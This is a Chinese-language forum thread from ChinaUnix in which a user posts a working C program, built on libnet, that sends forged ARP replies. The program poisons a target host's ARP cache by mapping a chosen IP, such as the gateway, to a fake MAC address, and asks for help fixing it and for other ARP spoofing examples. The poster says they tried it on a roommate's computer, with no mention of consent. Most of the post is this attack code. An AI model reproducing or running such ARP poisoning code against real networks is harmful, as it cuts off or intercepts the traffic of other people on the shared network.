免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2121 | 回复: 2
打印 上一主题 下一主题

[网络] 求一个用libnet库写的ARP欺骗的例子 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2013-11-04 12:34 |只看该作者 |倒序浏览
最近看了UNP第29章,想写一个ARP欺骗的程序,写成后拿舍友的电脑来试验,结果舍友还能上网,我自己倒不能上网了(我们宿舍四个人用一个路由器),这里把程序贴出来,请大家帮我看看。如果大家之前有写过这类程序,能在下面贴出来给我参考下是最好不过了。。多谢大家!

  1. #include <unp.h>
  2. #include <libnet.h>
  3. #include <net/if_arp.h>

  4. /*
  5. * argv[1]为欺骗目标的IP地址,argv[2]为要修改目标主机的ARP表项的IP地址
  6. * 有了欺骗目标的IP地址后,通过访问ARP缓存来获得目标主机的MAC地址
  7. * 这是因为目标主机通常和我们在同一个网段,我们可以通过ping目标主机来获得目标主机IP到目标主机MAC地址的ARP表项
  8. * 举个例子,当输入 “./arpcheat 192.168.1.100 192.168.1.1” 时,则把主机192.168.1.100的ARP表中的192.168.1.1
  9. * 对应的MAC地址改成 a5:a5:a5:a5:a5:a5
  10. */

  11. libnet_t *pnet;
  12. libnet_ptag_t arptag;
  13. libnet_ptag_t ethtag;

  14. int main(int argc, char *argv[])
  15. {
  16.     int fd;
  17.     struct sockaddr_in *sin;
  18.     struct arpreq arpreq;
  19.     uint8_t mod[4], h_dest[6], h_mod[6], *ptr;
  20.     char errbuf[LIBNET_ERRBUF_SIZE];

  21.     if (argc != 3)
  22.         err_quit("Usage: arpcheat <dest ip> <modified ip>");

  23.     /* 通过访问ARP缓存来获得目标主机的MAC地址 */
  24.     bzero(&arpreq, sizeof(struct arpreq));
  25.     sin = (struct sockaddr_in *) &arpreq.arp_pa;
  26.     sin->sin_family = AF_INET;
  27.     Inet_pton(AF_INET, argv[1], &sin->sin_addr);

  28.     fd = Socket(AF_INET, SOCK_DGRAM, 0);
  29.     strcpy(arpreq.arp_dev, "wlan0");
  30.     Ioctl(fd, SIOCGARP, &arpreq);

  31.     /*
  32.      * mod中存放修改主机的IP,h_dest中存放目标主机的MAC地址
  33.      * h_mod中存入 a5:a5:a5:a5:a5:a5
  34.      */
  35.     Inet_pton(AF_INET, argv[2], mod);
  36.     memcpy(h_dest, &arpreq.arp_ha.sa_data[0], 6);
  37.     memset(h_mod, 0xa5, 6);

  38.     /* 初始化libnet */
  39.     pnet = libnet_init(LIBNET_LINK_ADV, "wlan0", errbuf);
  40.     if (pnet == NULL)
  41.         err_quit("Can't initialize libnet: %s", errbuf);

  42.     /* 构造ARP报文 */
  43.     arptag = libnet_build_arp(
  44.         1,                           /* 以太网地址类型 */
  45.         0x0800,                        /* IP地址类型 */
  46.         6,                        /* 以太网地址长度 */
  47.         4,                        /* IP地址长度 */
  48.         ARPOP_REPLY,                /* ARP响应 */
  49.         h_mod,                        /* 发送主机的MAC地址,这里是 a5:a5:a5:a5:a5:a5 */
  50.         mod,                        /* 发送主机的IP地址 */
  51.         h_dest,                        /* 目标主机的MAC地址 */
  52.         (uint8_t *) &sin->sin_addr, /* 目标主机的IP地址 */
  53.         NULL,
  54.         0,
  55.         pnet,
  56.         0);

  57.     if (arptag == -1)
  58.         err_quit("arptag error");
  59.     /* 构造以太网头部 */
  60.     ethtag = libnet_build_ethernet(
  61.         h_dest,                        /* 目标主机的MAC地址 */
  62.         h_mod,                        /* 发送主机的MAC地址 */
  63.         0x0806,                        /* 以太网帧类型,这里是ARP */
  64.         NULL,
  65.         0,
  66.         pnet,
  67.         0);

  68.     if (ethtag == -1)
  69.         err_quit("ethtag error");
  70.    
  71.     /* 写出以太网帧 */
  72.     if (libnet_write(pnet) < 0)
  73.         printf("lost packet\n");
  74.    
  75.     libnet_destroy(pnet);
  76.    
  77.     return 0;
  78. }
复制代码

论坛徽章:
1
天蝎座
日期:2013-12-06 18:23:58
2 [报告]
发表于 2013-11-07 21:33 |只看该作者
你自己的IP是多少?

论坛徽章:
0
3 [报告]
发表于 2013-11-08 11:21 |只看该作者
crazyhadoop 发表于 2013-11-07 21:33
你自己的IP是多少?

我忘了。。但是我拿来测试的不是自己的IP地址。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP